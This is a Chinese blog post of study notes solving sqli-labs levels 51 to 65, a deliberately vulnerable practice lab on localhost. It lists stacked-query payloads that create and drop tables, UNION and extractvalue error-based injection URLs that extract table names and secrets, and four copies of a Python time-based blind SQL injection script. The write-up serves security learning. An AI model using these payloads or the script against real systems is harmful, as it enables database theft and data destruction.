美文网首页
[sqli-labs] 学习3

[sqli-labs] 学习3

作者: 2mpossible | 来源:发表于2018-11-16 15:14 被阅读0次

less-51

  • 跟50关相比，改了闭合符
http://127.0.0.1/sqli-labs/Less-51?sort=1' ; create table test like users;  %23

less-52

  • 和50关一样，只是这里不回显了
http://127.0.0.1/sqli-labs/Less-52?sort=1 ; drop table test;  %23

less-53

  • 跟51关一样，不回显
http://127.0.0.1/sqli-labs/Less-53?sort=1' ; create table test like users; %23

less-54

  • 将之前所学的做汇总练习
http://127.0.0.1/sqli-labs/Less-54?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'CHALLENGES'  %23

http://127.0.0.1/sqli-labs/Less-54?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name = 'ST8PASK3ZR'  %23

http://127.0.0.1/sqli-labs/Less-54?id=-1' union select 1,group_concat(secret_7IDH),3 from ST8PASK3ZR %23

less-55

http://127.0.0.1/sqli-labs/Less-55?id=-1) union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'CHALLENGES' %23

http://127.0.0.1/sqli-labs/Less-55?id=-1) union select 1,group_concat(column_name),3 from information_schema.columns where table_name = 'R0Y2LHLPA2' %23

http://127.0.0.1/sqli-labs/Less-55?id=-1) union select 1,group_concat(secret_46NL),3 from R0Y2LHLPA2  %23

less-56

http://127.0.0.1/sqli-labs/Less-56?id=-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'challenges'  %23

http://127.0.0.1/sqli-labs/Less-56?id=-1') union select 1,group_concat(column_name),3 from information_schema.columns where table_name = '2SHDB477I0'  %23

http://127.0.0.1/sqli-labs/Less-56?id=-1') union select 1,group_concat(secret_YC5R),3 from 2SHDB477I0  %23

less-57

http://127.0.0.1/sqli-labs/Less-57?id=-1" union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'challenges' %23

http://127.0.0.1/sqli-labs/Less-57?id=-1" union select 1,group_concat(column_name),3 from information_schema.columns where table_name = 'E5DYF70WFZ' %23

http://127.0.0.1/sqli-labs/Less-57?id=-1" union select 1,group_concat(secret_3IN5),3 from E5DYF70WFZ %23

less-58

  • 没有返回数据库中的数据，无法使用union联合注入，使用报错注入
http://127.0.0.1/sqli-labs/Less-58?id=-1' union select 1,2,extractvalue(1,concat(0x7e,( select group_concat(table_name) from information_schema.tables where table_schema = 'challenges' ),0x7e)) %23

http://127.0.0.1/sqli-labs/Less-58?id=-1' union select 1,2,extractvalue(1,concat(0x7e,( select group_concat(column_name) from information_schema.columns where table_name = 'Z93Q7U21K3' ),0x7e)) %23

http://127.0.0.1/sqli-labs/Less-58?id=-1' union select 1,2,extractvalue(1,concat(0x7e,( select group_concat(secret_OEMW) from Z93Q7U21K3 ),0x7e)) %23

less-59

  • 跟58关差不多，没有闭合符
http://127.0.0.1/sqli-labs/Less-59?id=1 union select 1,2,extractvalue(1,concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema = 'challenges' ) ,0x7e)) %23

http://127.0.0.1/sqli-labs/Less-59?id=1 union select 1,2,extractvalue(1,concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_name = '3MIJ14LKWG' ) ,0x7e)) %23

http://127.0.0.1/sqli-labs/Less-59?id=1 union select 1,2,extractvalue(1,concat(0x7e, (select group_concat(secret_NWS2) from 3MIJ14LKWG ) ,0x7e)) %23

less-60

  • 跟58关差不多，换了闭合符
http://127.0.0.1/sqli-labs/Less-60?id=-1") union select 1,2,extractvalue(1,concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema = 'challenges'  ) ,0x7e)) %23   

http://127.0.0.1/sqli-labs/Less-60?id=-1") union select 1,2,extractvalue(1,concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_name = '085KOCKZF6'  ) ,0x7e)) %23   

http://127.0.0.1/sqli-labs/Less-60?id=-1") union select 1,2,extractvalue(1,concat(0x7e, (select group_concat(secret_H2EF) from 085KOCKZF6  ) ,0x7e)) %23

less-61

  • 跟58关差不多，换了闭合符
http://127.0.0.1/sqli-labs/Less-61?id=1')) union select 1,2,extractvalue(1,concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema = 'challenges' ) ,0x7e)) %23

http://127.0.0.1/sqli-labs/Less-61?id=1')) union select 1,2,extractvalue(1,concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_name = 'JHXA7SZKSY' ) ,0x7e)) %23

http://127.0.0.1/sqli-labs/Less-61?id=1')) union select 1,2,extractvalue(1,concat(0x7e, (select group_concat(secret_E8XU) from JHXA7SZKSY ) ,0x7e)) %23

less-62

  • 只能用延时注入，写个脚本跑一下就可以了
import requests
import string
import time


list = string.lowercase + string.uppercase + string.digits + '!\"$%&\'()*+,-./:;<=>?@[\\]^_`{|}~'



def leak_tables(url,cmd,inj_point):

    tables = []

    l = 0
    while True:
        table_name = ""
        sql_1 = '(select table_name from information_schema.tables where table_schema = "challenges" limit {},1)'.format(l)
        i = 1 
        while True:
            flags = 0
            for j in list:
                startime = time.time()
                cmd1 = cmd.format(sql_1,i,table_name+j)
                payload = {inj_point:cmd1}
                r = requests.get(url,params=payload)
                #print r.url
                respond = r.text.encode('utf-8')

                if time.time() - startime > 3:
                    #print table_name
                    table_name += j
                    flags = 1
                    break

            if not table_name:
                return tables

            if not flags:
                tables.append(table_name)
                break

            i += 1

        l += 1


def leak_columns(url,cmd,inj_point,table_name):

    columns = []

    l = 0
    while True:
        column_name = ""
        sql_1 = "(select column_name from information_schema.columns where table_name = '{}' limit {},1)".format(table_name,l)
        i = 1 
        while True:
            flags = 0
            for j in list:
                startime = time.time()
                cmd1 = cmd.format(sql_1,i,column_name+j)
                payload = {inj_point:cmd1}
                r = requests.get(url,params=payload)

                respond = r.text.encode('utf-8')

                if time.time() - startime > 3:
                    #print column_name
                    column_name += j
                    flags = 1
                    break

            if not column_name:
                return columns

            if not flags:
                columns.append(column_name)
                break

            i += 1

        l += 1


def leak_content(url,cmd,inj_point,column_name,table_name):

    contents = []

    l = 0
    while True:
        content_name = ""
        sql_1 = "(select {} from {} limit {},1)".format(column_name,table_name,l)
        i = 1 
        while True:
            flags = 0
            for j in list:
                startime = time.time()
                cmd1 = cmd.format(sql_1,i,content_name+j)
                payload = {inj_point:cmd1}
                r = requests.get(url,params=payload)

                respond = r.text.encode('utf-8')

                if time.time() - startime > 3:

                    content_name += j
                    flags = 1
                    break

            if not content_name:
                return contents

            if not flags:
                contents.append(content_name)
                break

            i += 1

        l += 1





url = 'http://127.0.0.1/sqli-labs/less-62'  #url
injection = "1') and if( (left({},{}) = '{}') , sleep(3) , 0) #"  #injection


table_name = leak_tables(url,injection,'id')
print "table name: ",table_name

column_name = leak_columns(url,injection,'id',table_name[0])
print 'column name: ',column_name

secret = leak_content(url,injection,'id',column_name[2],table_name[0])
print 'secret : ',secret

less-63

  • 跟62一样是延时注入，换了闭合符，跑脚本
import requests
import string
import time


list = string.lowercase + string.uppercase + string.digits + '!\"$%&\'()*+,-./:;<=>?@[\\]^_`{|}~'



def leak_tables(url,cmd,inj_point):

    tables = []

    l = 0
    while True:
        table_name = ""
        sql_1 = '(select table_name from information_schema.tables where table_schema = "challenges" limit {},1)'.format(l)
        i = 1 
        while True:
            flags = 0
            for j in list:
                startime = time.time()
                cmd1 = cmd.format(sql_1,i,table_name+j)
                payload = {inj_point:cmd1}
                r = requests.get(url,params=payload)
                #print r.url
                respond = r.text.encode('utf-8')

                if time.time() - startime > 3:
                    #print table_name
                    table_name += j
                    flags = 1
                    break

            if not table_name:
                return tables

            if not flags:
                tables.append(table_name)
                break

            i += 1

        l += 1


def leak_columns(url,cmd,inj_point,table_name):

    columns = []

    l = 0
    while True:
        column_name = ""
        sql_1 = "(select column_name from information_schema.columns where table_name = '{}' limit {},1)".format(table_name,l)
        i = 1 
        while True:
            flags = 0
            for j in list:
                startime = time.time()
                cmd1 = cmd.format(sql_1,i,column_name+j)
                payload = {inj_point:cmd1}
                r = requests.get(url,params=payload)

                respond = r.text.encode('utf-8')

                if time.time() - startime > 3:
                    #print column_name
                    column_name += j
                    flags = 1
                    break

            if not column_name:
                return columns

            if not flags:
                columns.append(column_name)
                break

            i += 1

        l += 1


def leak_content(url,cmd,inj_point,column_name,table_name):

    contents = []

    l = 0
    while True:
        content_name = ""
        sql_1 = "(select {} from {} limit {},1)".format(column_name,table_name,l)
        i = 1 
        while True:
            flags = 0
            for j in list:
                startime = time.time()
                cmd1 = cmd.format(sql_1,i,content_name+j)
                payload = {inj_point:cmd1}
                r = requests.get(url,params=payload)

                respond = r.text.encode('utf-8')

                if time.time() - startime > 3:

                    content_name += j
                    flags = 1
                    break

            if not content_name:
                return contents

            if not flags:
                contents.append(content_name)
                break

            i += 1

        l += 1





url = 'http://127.0.0.1/sqli-labs/less-63'  #url
injection = "1' and if( (left({},{}) = '{}') , sleep(3) , 0) #"  #injection


table_name = leak_tables(url,injection,'id')
print "table name: ",table_name

column_name = leak_columns(url,injection,'id',table_name[0])
print 'column name: ',column_name

secret = leak_content(url,injection,'id',column_name[2],table_name[0])
print 'secret : ',secret

less-64

  • 跟62关一样，闭合符换成了)) 
import requests
import string
import time


list = string.lowercase + string.uppercase + string.digits + '!\"$%&\'()*+,-./:;<=>?@[\\]^_`{|}~'



def leak_tables(url,cmd,inj_point):

    tables = []

    l = 0
    while True:
        table_name = ""
        sql_1 = '(select table_name from information_schema.tables where table_schema = "challenges" limit {},1)'.format(l)
        i = 1 
        while True:
            flags = 0
            for j in list:
                startime = time.time()
                cmd1 = cmd.format(sql_1,i,table_name+j)
                payload = {inj_point:cmd1}
                r = requests.get(url,params=payload)
                #print r.url
                respond = r.text.encode('utf-8')

                if time.time() - startime > 3:
                    #print table_name
                    table_name += j
                    flags = 1
                    break

            if not table_name:
                return tables

            if not flags:
                tables.append(table_name)
                break

            i += 1

        l += 1


def leak_columns(url,cmd,inj_point,table_name):

    columns = []

    l = 0
    while True:
        column_name = ""
        sql_1 = "(select column_name from information_schema.columns where table_name = '{}' limit {},1)".format(table_name,l)
        i = 1 
        while True:
            flags = 0
            for j in list:
                startime = time.time()
                cmd1 = cmd.format(sql_1,i,column_name+j)
                payload = {inj_point:cmd1}
                r = requests.get(url,params=payload)

                respond = r.text.encode('utf-8')

                if time.time() - startime > 3:
                    #print column_name
                    column_name += j
                    flags = 1
                    break

            if not column_name:
                return columns

            if not flags:
                columns.append(column_name)
                break

            i += 1

        l += 1


def leak_content(url,cmd,inj_point,column_name,table_name):

    contents = []

    l = 0
    while True:
        content_name = ""
        sql_1 = "(select {} from {} limit {},1)".format(column_name,table_name,l)
        i = 1 
        while True:
            flags = 0
            for j in list:
                startime = time.time()
                cmd1 = cmd.format(sql_1,i,content_name+j)
                payload = {inj_point:cmd1}
                r = requests.get(url,params=payload)

                respond = r.text.encode('utf-8')

                if time.time() - startime > 3:

                    content_name += j
                    flags = 1
                    break

            if not content_name:
                return contents

            if not flags:
                contents.append(content_name)
                break

            i += 1

        l += 1





url = 'http://127.0.0.1/sqli-labs/less-64'  #url
injection = "1)) and if( (left({},{}) = '{}') , sleep(3) , 0) #"  #injection


table_name = leak_tables(url,injection,'id')
print "table name: ",table_name

column_name = leak_columns(url,injection,'id',table_name[0])
print 'column name: ',column_name

secret = leak_content(url,injection,'id',column_name[2],table_name[0])
print 'secret : ',secret

less-65

  • 跟62关一样，闭合符变成了") 
import requests
import string
import time


list = string.lowercase + string.uppercase + string.digits + '!\"$%&\'()*+,-./:;<=>?@[\\]^_`{|}~'



def leak_tables(url,cmd,inj_point):

    tables = []

    l = 0
    while True:
        table_name = ""
        sql_1 = '(select table_name from information_schema.tables where table_schema = "challenges" limit {},1)'.format(l)
        i = 1 
        while True:
            flags = 0
            for j in list:
                startime = time.time()
                cmd1 = cmd.format(sql_1,i,table_name+j)
                payload = {inj_point:cmd1}
                r = requests.get(url,params=payload)
                #print r.url
                respond = r.text.encode('utf-8')

                if time.time() - startime > 3:
                    #print table_name
                    table_name += j
                    flags = 1
                    break

            if not table_name:
                return tables

            if not flags:
                tables.append(table_name)
                break

            i += 1

        l += 1


def leak_columns(url,cmd,inj_point,table_name):

    columns = []

    l = 0
    while True:
        column_name = ""
        sql_1 = "(select column_name from information_schema.columns where table_name = '{}' limit {},1)".format(table_name,l)
        i = 1 
        while True:
            flags = 0
            for j in list:
                startime = time.time()
                cmd1 = cmd.format(sql_1,i,column_name+j)
                payload = {inj_point:cmd1}
                r = requests.get(url,params=payload)

                respond = r.text.encode('utf-8')

                if time.time() - startime > 3:
                    #print column_name
                    column_name += j
                    flags = 1
                    break

            if not column_name:
                return columns

            if not flags:
                columns.append(column_name)
                break

            i += 1

        l += 1


def leak_content(url,cmd,inj_point,column_name,table_name):

    contents = []

    l = 0
    while True:
        content_name = ""
        sql_1 = "(select {} from {} limit {},1)".format(column_name,table_name,l)
        i = 1 
        while True:
            flags = 0
            for j in list:
                startime = time.time()
                cmd1 = cmd.format(sql_1,i,content_name+j)
                payload = {inj_point:cmd1}
                r = requests.get(url,params=payload)

                respond = r.text.encode('utf-8')

                if time.time() - startime > 3:

                    content_name += j
                    flags = 1
                    break

            if not content_name:
                return contents

            if not flags:
                contents.append(content_name)
                break

            i += 1

        l += 1





url = 'http://127.0.0.1/sqli-labs/less-65'  #url
injection = "1\") and if( (left({},{}) = '{}') , sleep(3) , 0) #"  #injection


table_name = leak_tables(url,injection,'id')
print "table name: ",table_name

column_name = leak_columns(url,injection,'id',table_name[0])
print 'column name: ',column_name

secret = leak_content(url,injection,'id',column_name[2],table_name[0])
print 'secret : ',secret

相关文章

  • [sqli-labs] 学习3

    less-51 跟50关相比，改了闭合符 less-52 和50关一样，只是这里不回显了 less-53 跟51关...

  • 搭建sqli-labs注入平台

    搭建SQL注入平台 docker搭建sqli-labs 运行sqli-labs 初始化数据库 访问sqli-labs

  • sqli-labs靶场Less-62题解（少于130次）

    sqli-labs[https://github.com/Audi-1/sqli-labs]靶场Less-62题目...

  • sqli-labs 的安装

    sqli-labs 下载：https://github.com/Audi-1/sqli-labs 解压后放入 ph...

  • [sqli-labs] 学习

    基础知识 select * from * LIMIT N; --检索前N行数据，显示1-N条数据 select *...

  • sqlmap的使用

    摘要：使用sqlmap注入本地搭建的sqli-labs过程记录 学习SQL 注入，一直在手注，关于工具的使用的学习...

  • [sqli-labs]下载与部署

    sqli-labs简介 对于想要学习web安全的同学 , 这是一个非常好的学习有关SQL注入的学习资料类似于闯关的...

  • Sqli-labs实验Task3（less39-53）

    Sqli-labs实验Task3（less39-53） Less-39 这个没有闭合的，所以直接使用联合查询： L...

  • sqli-labs学习笔记

    less-1~4： 都有回显，且回显信息中包含了数据库中的信息。 Less-1： 有回显，输入单引号报错。 You...

  • [sqli-labs] 学习2

    less-27 比上一关多加了union,select的过滤，只要大小写混杂就可以绕过 less-27a 跟27关...

网友评论

      本文标题：[sqli-labs] 学习3

      本文链接：https://www.haomeiwen.com/subject/uacpfqtx.html

      延伸阅读

      深度阅读

      • 您也可以注册成为美文阅读网的作者，发表您的原创作品、分享您的心情！

      栏目导航

      热点阅读

      关于我们|服务条款|联系我们|[sqli-labs] 学习3|投稿指南|网站地图|RSS订阅|排版工具|手机版

      提供经典美文摘抄,优美散文欣赏,现代诗歌精选,短篇小说,心情随笔,表白情书范文,故事会在线阅读欣赏

      Copyright © 2014-2023 Haomeiwen.com All Rights Reserved. 好美文阅读网 版权所有

      备案信息：桂公网安备 45052102000051号 · 桂ICP备13007215号-3

      本站所收录作品、热点评论等信息部分来源互联网，目的只是为了系统归纳学习和传递资讯

      所有作品版权归原创作者所有，与本站立场无关，如不慎侵犯了你的权益，请联系我们告知，我们将做删除处理！